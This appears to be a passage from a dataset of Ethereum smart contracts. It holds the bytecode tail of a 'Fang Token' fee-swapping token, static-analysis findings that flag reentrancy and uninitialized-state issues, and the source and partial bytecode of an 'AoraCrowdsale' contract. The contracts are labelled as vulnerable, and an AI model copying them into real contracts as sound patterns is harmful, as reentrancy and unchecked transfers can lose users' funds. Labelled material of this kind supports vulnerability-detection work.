001905092915050565b6040518060400160405280600481526020017f46414e470000000000000000000000000000000000000000000000000000000081525081565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806114745750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6114b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114aa906129db565b60405180910390fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6040518060400160405280600a81526020017f46616e6720546f6b656e0000000000000000000000000000000000000000000081525081565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806116805750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6116bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b6906129db565b60405180910390fd5b80600260016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600860009054906101000a900460ff1681565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611786576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177d9061295b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ed906129bb565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118d49190612a1b565b60405180910390a3505050565b600080600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806119855750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806119d95750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611a2d5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611a855750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80611add5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b905060003073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161480611b4657503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b90506000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16148015611bf45750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b80611ca55750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16148015611ca45750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16145b5b9050801580611cb2575081155b80611cbb575082155b8015611cd45750600860009054906101000a900460ff16155b15611e54576000606460095487611ceb9190612cf8565b611cf59190612b56565b90508086611d039190612d52565b945080600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d549190612d52565b9250508190555080600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611daa9190612b00565b9250508190555080600a6000828254611dc39190612b00565b92505081905550600b54600a5410611de957611de0600a54611f72565b6000600a819055505b3073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e469190612a1b565b60405180910390a350611e58565b8493505b83600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ea79190612d52565b9250508190555083600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611efd9190612b00565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051611f619190612a1b565b60405180910390a350505050505050565b600260009054906101000a900460ff1615611fc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb99061299b565b60405180910390fd5b6001600260006101000a81548160ff02191690831515021790555060008190506000600282611ff19190612b56565b9050600081836120019190612d52565b90506000819050600047905061201682612070565b600081476120249190612d52565b905060008385836120359190612cf8565b61203f9190612b56565b905061204b86826122c2565b505050505050506000600260006101000a81548160ff02191690831515021790555050565b61209d30600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611716565b6000600267ffffffffffffffff8111156120ba576120b9612ee3565b5b6040519080825280602002602001820160405280156120e85781602001602082028036833780820191505090505b5090503081600081518110612100576120ff612eb4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156121a257600080fd5b505afa1580156121b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121da919061245a565b816001815181106121ee576121ed612eb4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161228c959493929190612a36565b600060405180830381600087803b1580156122a657600080fd5b505af11580156122ba573d6000803e3d6000fd5b505050505050565b6122ef30600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611716565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008030426040518863ffffffff1660e01b815260040161235696959493929190612882565b6060604051808303818588803b15801561236f57600080fd5b505af1158015612383573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906123a891906125da565b5050505050565b6000813590506123be81613054565b92915050565b6000815190506123d381613054565b92915050565b6000813590506123e88161306b565b92915050565b6000813590506123fd81613082565b92915050565b60008151905061241281613082565b92915050565b60008135905061242781613099565b92915050565b60006020828403121561244357612442612f12565b5b6000612451848285016123af565b91505092915050565b6000602082840312156124705761246f612f12565b5b600061247e848285016123c4565b91505092915050565b6000806040838503121561249e5761249d612f12565b5b60006124ac858286016123af565b92505060206124bd858286016123af565b9150509250929050565b6000806000606084860312156124e0576124df612f12565b5b60006124ee868287016123af565b93505060206124ff868287016123af565b9250506040612510868287016123ee565b9150509250925092565b6000806040838503121561253157612530612f12565b5b600061253f858286016123af565b9250506020612550858286016123d9565b9150509250929050565b6000806040838503121561257157612570612f12565b5b600061257f858286016123af565b9250506020612590858286016123ee565b9150509250929050565b600080604083850312156125b1576125b0612f12565b5b60006125bf858286016123ee565b92505060206125d0858286016123af565b9150509250929050565b6000806000606084860312156125f3576125f2612f12565b5b600061260186828701612403565b935050602061261286828701612403565b925050604061262386828701612403565b9150509250925092565b60006020828403121561264357612642612f12565b5b600061265184828501612418565b91505092915050565b60006126668383612672565b60208301905092915050565b61267b81612d86565b82525050565b61268a81612d86565b82525050565b600061269b82612abb565b6126a58185612ade565b93506126b083612aab565b8060005b838110156126e15781516126c8888261265a565b97506126d383612ad1565b9250506001810190506126b4565b5085935050505092915050565b6126f781612d98565b82525050565b61270681612ddb565b82525050565b61271581612ded565b82525050565b600061272682612ac6565b6127308185612aef565b9350612740818560208601612e23565b61274981612f17565b840191505092915050565b6000612761600383612aef565b915061276c82612f35565b602082019050919050565b6000612784601183612aef565b915061278f82612f5e565b602082019050919050565b60006127a7601483612aef565b91506127b282612f87565b602082019050919050565b60006127ca600983612aef565b91506127d582612fb0565b602082019050919050565b60006127ed600f83612aef565b91506127f882612fd9565b602082019050919050565b6000612810600983612aef565b915061281b82613002565b602082019050919050565b6000612833600c83612aef565b915061283e8261302b565b602082019050919050565b61285281612dc4565b82525050565b61286181612dce565b82525050565b600060208201905061287c6000830184612681565b92915050565b600060c0820190506128976000830189612681565b6128a46020830188612849565b6128b1604083018761270c565b6128be606083018661270c565b6128cb6080830185612681565b6128d860a0830184612849565b979650505050505050565b60006020820190506128f860008301846126ee565b92915050565b600060208201905061291360008301846126fd565b92915050565b60006020820190508181036000830152612933818461271b565b905092915050565b6000602082019050818103600083015261295481612754565b9050919050565b6000602082019050818103600083015261297481612777565b9050919050565b600060208201905081810360008301526129948161279a565b9050919050565b600060208201905081810360008301526129b4816127bd565b9050919050565b600060208201905081810360008301526129d4816127e0565b9050919050565b600060208201905081810360008301526129f481612803565b9050919050565b60006020820190508181036000830152612a1481612826565b9050919050565b6000602082019050612a306000830184612849565b92915050565b600060a082019050612a4b6000830188612849565b612a58602083018761270c565b8181036040830152612a6a8186612690565b9050612a796060830185612681565b612a866080830184612849565b9695505050505050565b6000602082019050612aa56000830184612858565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612b0b82612dc4565b9150612b1683612dc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612b4b57612b4a612e56565b5b828201905092915050565b6000612b6182612dc4565b9150612b6c83612dc4565b925082612b7c57612b7b612e85565b5b828204905092915050565b6000808291508390505b6001851115612bd157808604811115612bad57612bac612e56565b5b6001851615612bbc5780820291505b8081029050612bca85612f28565b9450612b91565b94509492505050565b6000612be582612dc4565b9150612bf083612dce565b9250612c1d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612c25565b905092915050565b600082612c355760019050612cf1565b81612c435760009050612cf1565b8160018114612c595760028114612c6357612c92565b6001915050612cf1565b60ff841115612c7557612c74612e56565b5b8360020a915084821115612c8c57612c8b612e56565b5b50612cf1565b5060208310610133831016604e8410600b8410161715612cc75782820a905083811115612cc257612cc1612e56565b5b612cf1565b612cd48484846001612b87565b92509050818404811115612ceb57612cea612e56565b5b81810290505b9392505050565b6000612d0382612dc4565b9150612d0e83612dc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612d4757612d46612e56565b5b828202905092915050565b6000612d5d82612dc4565b9150612d6883612dc4565b925082821015612d7b57612d7a612e56565b5b828203905092915050565b6000612d9182612da4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612de682612dff565b9050919050565b6000612df882612dc4565b9050919050565b6000612e0a82612e11565b9050919050565b6000612e1c82612da4565b9050919050565b60005b83811015612e41578082015181840152602081019050612e26565b83811115612e50576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f3430330000000000000000000000000000000000000000000000000000000000600082015250565b7f417070726f76652066726f6d207a65726f000000000000000000000000000000600082015250565b7f5472616e73666572203e20616c6c6f77616e6365000000000000000000000000600082015250565b7f7265656e7472616e740000000000000000000000000000000000000000000000600082015250565b7f417070726f766520746f207a65726f0000000000000000000000000000000000600082015250565b7f6e6f74206f776e65720000000000000000000000000000000000000000000000600082015250565b7f3c3020616c6c6f77616e63650000000000000000000000000000000000000000600082015250565b61305d81612d86565b811461306857600080fd5b50565b61307481612d98565b811461307f57600080fd5b50565b61308b81612dc4565b811461309657600080fd5b50565b6130a281612dce565b81146130ad57600080fd5b5056fea26469706673582212201f71fcd98f5be27cc114b2cad1007bc64291dfe1ea4639ef59c5caca9d8d216064736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,125 |
0xd7e5aabafc2290e338fa2d342aea6284489a9ba6
|
// solium-disable linebreak-style
pragma solidity ^0.4.24;
/**
* @title Whitelist
* @dev Whitelist contract has its own role whitelister and maintains index of whitelisted addresses.
*/
contract Whitelist {
// who can whitelist
address public whitelister;
// Whitelist mapping
mapping (address => bool) whitelist;
/**
* @dev The Whitelist constructor sets the original `whitelister` of the contract to the sender
* account.
*/
constructor() public {
whitelister = msg.sender;
}
/**
* @dev Throws if called by any account other than the whitelister.
*/
modifier onlyWhitelister() {
require(msg.sender == whitelister);
_;
}
modifier addressNotZero(address _address) {
require(_address != address(0));
_;
}
modifier onlyWhitelisted(address _address) {
require(whitelist[_address]);
_;
}
/**
* @dev Only callable by the whitelister. Whitelists the specified address.
* @notice Only callable by the whitelister. Whitelists the specified address.
* @param _address Address to be whitelisted.
*/
function addToWhitelist(address _address) public onlyWhitelister addressNotZero(_address) {
emit WhitelistAdd(whitelister, _address);
whitelist[_address] = true;
}
/**
* @dev Only callable by the whitelister. Whitelists the specified addresses.
* @notice Only callable by the whitelister. Whitelists the specified addresses.
* @param _addresses Addresses to be whitelisted.
*/
function addAddressesToWhitelist(address[] _addresses) public onlyWhitelister {
for(uint i = 0; i < _addresses.length; ++i)
addToWhitelist(_addresses[i]);
}
/**
* @dev Checks if the specified address is whitelisted.
* @notice Checks if the specified address is whitelisted.
* @param _address Address to be whitelisted.
*/
function isWhitelisted(address _address) public view returns (bool) {
return whitelist[_address];
}
/**
* @dev Changes the current whitelister. Callable only by the whitelister.
* @notice Changes the current whitelister. Callable only by the whitelister.
* @param _newWhitelister Address of new whitelister.
*/
function changeWhitelister(address _newWhitelister) public onlyWhitelister addressNotZero(_newWhitelister) {
emit WhitelisterChanged(whitelister, _newWhitelister);
whitelister = _newWhitelister;
}
/**
* Event for logging the whitelister change.
* @param previousWhitelister Old whitelister.
* @param newWhitelister New whitelister.
*/
event WhitelisterChanged(address indexed previousWhitelister, address indexed newWhitelister);
/**
* Event for logging when the user is whitelisted.
* @param whitelister Current whitelister.
* @param whitelistedAddress User added to whitelist.
*/
event WhitelistAdd(address indexed whitelister, address indexed whitelistedAddress);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
// Owner's address
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit OwnerChanged(owner, _newOwner);
owner = _newOwner;
}
event OwnerChanged(address indexed previousOwner,address indexed newOwner);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract AoraCrowdsale is Whitelist, Ownable {
using SafeMath for uint256;
// Token being sold
IERC20 public token;
// Start of presale timestamp in miliseconds
uint public startOfPresale;
// End of presale timestamp in miliseconds
uint public endOfPresale;
// Start of crowdsale timestamp in miliseconds
uint public startOfCrowdsale;
// End of crowdsale timestamp in miliseconds
uint public endOfCrowdsale;
// Maximum number of tokens that can be sold
uint public cap;
// Tokens sold so far
uint public tokensSold = 0;
// US Dollars raised so far in cents
uint public usdRaised = 0;
// Deployment block of the contract
uint public deploymentBlock;
// Tokens per US Dollar rate, fixed for this crowsale.
uint public tokensPerUsdRate = 5;
// Factor that we multiply with to get whole tokens from cents
uint constant public centsToWholeTokenFactor = 10 ** 16;
/**
* @param _startOfPresale start of presale timestamp
* @param _endOfPresale end of presale timestamp
* @param _startOfCrowdsale start of crowdsale timestamp
* @param _endOfCrowdsale end of crowdsale timestamp
* @param _tokensPerUsdRate how many tokens per US Dollar contributed
* @param _cap total amount of sellable tokens
* @param _token address of the token contract
*/
constructor(
uint _startOfPresale,
uint _endOfPresale,
uint _startOfCrowdsale,
uint _endOfCrowdsale,
uint _tokensPerUsdRate,
uint _cap,
IERC20 _token
) public addressNotZero(_token) {
startOfPresale = _startOfPresale;
endOfPresale = _endOfPresale;
startOfCrowdsale = _startOfCrowdsale;
endOfCrowdsale = _endOfCrowdsale;
tokensPerUsdRate = _tokensPerUsdRate;
cap = _cap;
token = _token;
deploymentBlock = block.number;
}
/**
* @dev Fallback function. Can't send ether to this contract.
*/
function () external payable {
revert();
}
/**
* @dev signifies weather or not the argument has any value
* @param usdAmount amount of US Dollars in cents
*/
modifier hasValue(uint usdAmount) {
require(usdAmount > 0);
_;
}
/**
* @dev signifies weather or not crowdsale is over
*/
modifier crowdsaleNotOver() {
require(isCrowdsale());
_;
}
/**
* @dev sets the start of presale
*/
function setStartOfPresale(uint _startOfPresale) external onlyOwner {
emit OnStartOfPresaleSet(_startOfPresale, startOfPresale);
startOfPresale = _startOfPresale;
}
/**
* @dev sets the end of presale
* @param _endOfPresale new timestamp value
*/
function setEndOfPresale(uint _endOfPresale) external onlyOwner {
emit OnEndOfPresaleSet(_endOfPresale, endOfPresale);
endOfPresale = _endOfPresale;
}
/**
* @dev sets the start of crowdsale
* @param _startOfCrowdsale new timestamp value
*/
function setStartOfCrowdsale(uint _startOfCrowdsale) external onlyOwner {
emit OnStartOfCrowdsaleSet(_startOfCrowdsale, startOfCrowdsale);
startOfCrowdsale = _startOfCrowdsale;
}
/**
* @dev sets the end of crowdsale
* @param _endOfCrowdsale new timestamp value
*/
function setEndOfCrowdsale(uint _endOfCrowdsale) external onlyOwner {
emit OnEndOfCrowdsaleSet(_endOfCrowdsale, endOfCrowdsale);
endOfCrowdsale = _endOfCrowdsale;
}
/**
* @dev sets the cap
* @param _cap new cap value
*/
function setCap(uint _cap) external onlyOwner {
emit OnCapSet(_cap, cap);
cap = _cap;
}
/**
* @dev sets the tokensPerUsdRate
* @param _tokensPerUsdRate new tokens per US Dollar rate
*/
function setTokensPerUsdRate(uint _tokensPerUsdRate) external onlyOwner {
emit OnTokensPerUsdRateSet(_tokensPerUsdRate, tokensPerUsdRate);
tokensPerUsdRate = _tokensPerUsdRate;
}
/**
* @dev returns weather or not the presale is over
*/
function isPresale() public view returns(bool) {
return now < endOfPresale;
}
/**
* @dev returns weather or not the crowdsale is over
*/
function isCrowdsale() public view returns(bool) {
return now < endOfCrowdsale;
}
/**
* @dev Creates a contribution for the specified beneficiary.
* Callable only by the owner, while the crowdsale is not over.
* Whitelists the beneficiary as well, to optimize gas cost.
* @param beneficiary address of the beneficiary
* @param usdAmount contribution value in cents
*/
function createContribution(address beneficiary, uint usdAmount) public
onlyOwner
addressNotZero(beneficiary)
hasValue(usdAmount)
crowdsaleNotOver
{
usdRaised = usdRaised.add(usdAmount); // USD amount in cents
uint aoraTgeAmount = usdAmount.mul(tokensPerUsdRate).mul(centsToWholeTokenFactor);
if(isPresale())
aoraTgeAmount = aoraTgeAmount.mul(11).div(10); // 10% presale bonus, paid out from crowdsale pool
uint newTokensSoldAmount = tokensSold.add(aoraTgeAmount);
require(newTokensSoldAmount <= cap);
tokensSold = newTokensSoldAmount;
token.transfer(beneficiary, aoraTgeAmount);
addToWhitelist(beneficiary);
emit OnContributionCreated(beneficiary, usdAmount);
}
/**
* @dev Create contributions in bulk, to optimize gas cost.
* @param beneficiaries addresses of beneficiaries
* @param usdAmounts USDollar value of the each contribution in cents.
*/
function createBulkContributions(address[] beneficiaries, uint[] usdAmounts) external onlyOwner {
require(beneficiaries.length == usdAmounts.length);
for (uint i = 0; i < beneficiaries.length; ++i)
createContribution(beneficiaries[i], usdAmounts[i]);
}
/**
* @dev This method can be used by the owner to extract mistakenly sent tokens
* or Ether sent to this contract.
* @param _token address The address of the token contract that you want to
* recover set to 0 in case you want to extract ether. It can't be ElpisToken.
*/
function claimTokens(address _token) public onlyOwner {
require(_token != address(token));
if (_token == address(0)) {
owner.transfer(address(this).balance);
return;
}
IERC20 tokenReference = IERC20(_token);
uint balance = tokenReference.balanceOf(address(this));
tokenReference.transfer(owner, balance);
emit OnClaimTokens(_token, owner, balance);
}
/**
* @param oldValue old value of the field
* @param newValue new value of the field
*/
event OnTokensPerUsdRateSet(uint256 oldValue, uint256 newValue);
/**
* @param oldValue old value of the field
* @param newValue new value of the field
*/
event OnCapSet(uint256 oldValue, uint256 newValue);
/**
* @param oldValue old value of the field
* @param newValue new value of the field
*/
event OnStartOfPresaleSet(uint256 oldValue, uint256 newValue);
/**
* @param oldValue old value of the field
* @param newValue new value of the field
*/
event OnEndOfPresaleSet(uint256 oldValue, uint256 newValue);
/**
* @param oldValue old value of the field
* @param newValue new value of the field
*/
event OnStartOfCrowdsaleSet(uint256 oldValue, uint256 newValue);
/**
* @param oldValue old value of the field
* @param newValue new value of the field
*/
event OnEndOfCrowdsaleSet(uint256 oldValue, uint256 newValue);
/**
* @param token claimed token
* @param owner who owns the contract
* @param amount amount of the claimed token
*/
event OnClaimTokens(address indexed token, address indexed owner, uint256 amount);
/**
* @param beneficiary who is the recipient of tokens from the contribution
* @param weiAmount Amount of wei contributed
*/
event OnContributionCreated(address indexed beneficiary, uint256 weiAmount);
}
|
0x608060405260043610610175576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806310a0d2f11461017a57806310c47c99146101a557806322758a4a146101d05780632536d7f11461022757806334585fe314610252578063355274ea1461027d5780633af32abf146102a85780634551dd591461030357806347786d3714610332578063518ab2a81461035f57806358079e7b1461038a57806362fe3b4d146103b75780636521c03c146103e457806378a257741461043157806382100e3f1461045c5780638da5cb5b1461048757806395364a84146104de57806395550cdb1461050d578063966aeece1461053857806399209e331461057b5780639fed35a6146105a8578063a6c23bc4146105fb578063ae8a718014610628578063df8de3e714610655578063e2ec6ec314610698578063e43252d7146106fe578063eadd94ec14610741578063f2fde38b1461076c578063fc0c546a146107af575b600080fd5b34801561018657600080fd5b5061018f610806565b6040518082815260200191505060405180910390f35b3480156101b157600080fd5b506101ba61080c565b6040518082815260200191505060405180910390f35b3480156101dc57600080fd5b506101e5610812565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561023357600080fd5b5061023c610837565b6040518082815260200191505060405180910390f35b34801561025e57600080fd5b5061026761083d565b6040518082815260200191505060405180910390f35b34801561028957600080fd5b50610292610848565b6040518082815260200191505060405180910390f35b3480156102b457600080fd5b506102e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061084e565b604051808215151515815260200191505060405180910390f35b34801561030f57600080fd5b506103186108a4565b604051808215151515815260200191505060405180910390f35b34801561033e57600080fd5b5061035d600480360381019080803590602001909291905050506108b0565b005b34801561036b57600080fd5b50610374610957565b6040518082815260200191505060405180910390f35b34801561039657600080fd5b506103b56004803603810190808035906020019092919050505061095d565b005b3480156103c357600080fd5b506103e260048036038101908080359060200190929190505050610a04565b005b3480156103f057600080fd5b5061042f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aab565b005b34801561043d57600080fd5b50610446610d7b565b6040518082815260200191505060405180910390f35b34801561046857600080fd5b50610471610d81565b6040518082815260200191505060405180910390f35b34801561049357600080fd5b5061049c610d87565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104ea57600080fd5b506104f3610dad565b604051808215151515815260200191505060405180910390f35b34801561051957600080fd5b50610522610db9565b6040518082815260200191505060405180910390f35b34801561054457600080fd5b50610579600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dbf565b005b34801561058757600080fd5b506105a660048036038101908080359060200190929190505050610f16565b005b3480156105b457600080fd5b506105f9600480360381019080803590602001908201803590602001919091929391929390803590602001908201803590602001919091929391929390505050610fbd565b005b34801561060757600080fd5b5061062660048036038101908080359060200190929190505050611099565b005b34801561063457600080fd5b5061065360048036038101908080359060200190929190505050611140565b005b34801561066157600080fd5b50610696600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111e7565b005b3480156106a457600080fd5b506106fc600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506115c6565b005b34801561070a57600080fd5b5061073f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611660565b005b34801561074d57600080fd5b506107566117ce565b6040518082815260200191505060405180910390f35b34801561077857600080fd5b506107ad600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117d4565b005b3480156107bb57600080fd5b506107c461192c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60065481565b60045481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b662386f26fc1000081565b60085481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60006007544210905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561090c57600080fd5b7fd37bb7077e1d797fea8c3c30349cc89e05617a1cab2f3cc82bb29479783165bd81600854604051808381526020018281526020019250505060405180910390a18060088190555050565b60095481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109b957600080fd5b7f19deae234e3a8ff22f8ced2e4f8a45446453cfe73d5e3da3436af208f3a28c5f81600454604051808381526020018281526020019250505060405180910390a18060048190555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a6057600080fd5b7f066d03d3aa8591c9505848d92145542bc0fed81f1bc53012154702a4bca1f0ea81600554604051808381526020018281526020019250505060405180910390a18060058190555050565b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b0a57600080fd5b83600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610b4757600080fd5b83600081111515610b5757600080fd5b610b5f6108a4565b1515610b